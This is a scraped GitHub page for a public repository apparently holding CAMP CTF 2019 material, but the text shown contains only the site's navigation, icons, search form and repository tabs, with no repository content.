<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Blog
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Solutions <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4"> For
Enterprise
Teams
Startups
Education
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
By Solution
CI/CD & Automation
DevOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
DevSecOps
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
Case Studies
Customer Stories
Resources
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-link-external HeaderMenu-external-icon color-fg-subtle"> <path d="M3.75 2h3.5a.75.75 0 0 1 0 1.5h-3.5a.25.25 0 0 0-.25.25v8.5c0 .138.112.25.25.25h8.5a.25.25 0 0 0 .25-.25v-3.5a.75.75 0 0 1 1.5 0v3.5A1.75 1.75 0 0 1 12.25 14h-8.5A1.75 1.75 0 0 1 2 12.25v-8.5C2 2.784 2.784 2 3.75 2Zm6.854-1h4.146a.25.25 0 0 1 .25.25v4.146a.25.25 0 0 1-.427.177L13.03 4.03 9.28 7.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.75-3.75-1.543-1.543A.25.25 0 0 1 10.604 1Z"></path></svg>
</div>
<button type="button" class="HeaderMenu-link border-0 width-full width-lg-auto px-0 px-lg-2 py-3 py-lg-2 no-wrap d-flex flex-items-center flex-justify-between js-details-target" aria-expanded="false"> Open Source <svg opacity="0.5" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-chevron-down HeaderMenu-icon ml-1"> <path d="M12.78 5.22a.749.749 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.06 0L3.22 6.28a.749.749 0 1 1 1.06-1.06L8 8.939l3.72-3.719a.749.749 0 0 1 1.06 0Z"></path></svg> </button> <div class="HeaderMenu-dropdown dropdown-menu rounded m-0 p-0 py-2 py-lg-4 position-relative position-lg-absolute left-0 left-lg-n3 px-lg-4">
<div> <div class="color-fg-default h4">GitHub Sponsors</div> Fund open source developers </div>
<div> <div class="color-fg-default h4">The ReadME Project</div> GitHub community articles </div>
Repositories
Topics
Trending
Collections
</div>
Pricing
</nav>
<div class="d-lg-flex flex-items-center px-3 px-lg-0 mb-3 mb-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-2 mb-lg-0">
<div class="header-search flex-auto position-relative js-site-search flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="205657999" data-scoped-search-url="/OlfillasOdikno/CAMP-CTF-2019/search" data-owner-scoped-search-url="/users/OlfillasOdikno/search" data-unscoped-search-url="/search" data-turbo="false" action="/OlfillasOdikno/CAMP-CTF-2019/search" accept-charset="UTF-8" method="get"> <label class="form-control header-search-wrapper input-sm p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control js-site-search-focus header-search-input jump-to-field js-jump-to-field js-site-search-field is-clearable" data-hotkey=s,/ name="q" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="1wtvbPH3OTh8nAfSPMc3uM+0gnDFv3HXNh9PB6BFfRCmEET++8RalOhyUUYxim8QNsWIo8aVvdBRpNNF4LpHMw==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg>
<div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container">
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<span>No suggested jump to results</span>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
<div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path d="M1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25V1.75C0 .784.784 0 1.75 0ZM1.5 1.75v12.5c0 .138.112.25.25.25h12.5a.25.25 0 0 0 .25-.25V1.75a.25.25 0 0 0-.25-.25H1.75a.25.25 0 0 0-.25.25ZM11.75 3a.75.75 0 0 1 .75.75v7.5a.75.75 0 0 1-1.5 0v-7.5a.75.75 0 0 1 .75-.75Zm-8.25.75a.75.75 0 0 1 1.5 0v5.5a.75.75 0 0 1-1.5 0ZM8 3a.75.75 0 0 1 .75.75v3.5a.75.75 0 0 1-1.5 0v-3.5A.75.75 0 0 1 8 3Z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path d="M10.68 11.74a6 6 0 0 1-7.922-8.982 6 6 0 0 1 8.982 7.922l3.04 3.04a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215ZM11.5 7a4.499 4.499 0 1 0-8.997 0A4.499 4.499 0 0 0 11.5 7Z"></path></svg> </div>
<div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div>
<div class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div>
<div aria-hidden="true" class="border rounded-2 flex-shrink-0 color-bg-subtle px-1 color-fg-muted ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div>
</div> </label></form> </div></div>
</div>
<div class="position-relative mr-lg-3 d-lg-inline-block"> Sign in </div>
Sign up </div> </div> </div> </div></header>
</div>
<div id="start-of-content" class="show-on-focus"></div>
<div id="js-flash-container" data-turbo-replace>
<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> OlfillasOdikno </span> <span>/</span> CAMP-CTF-2019
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
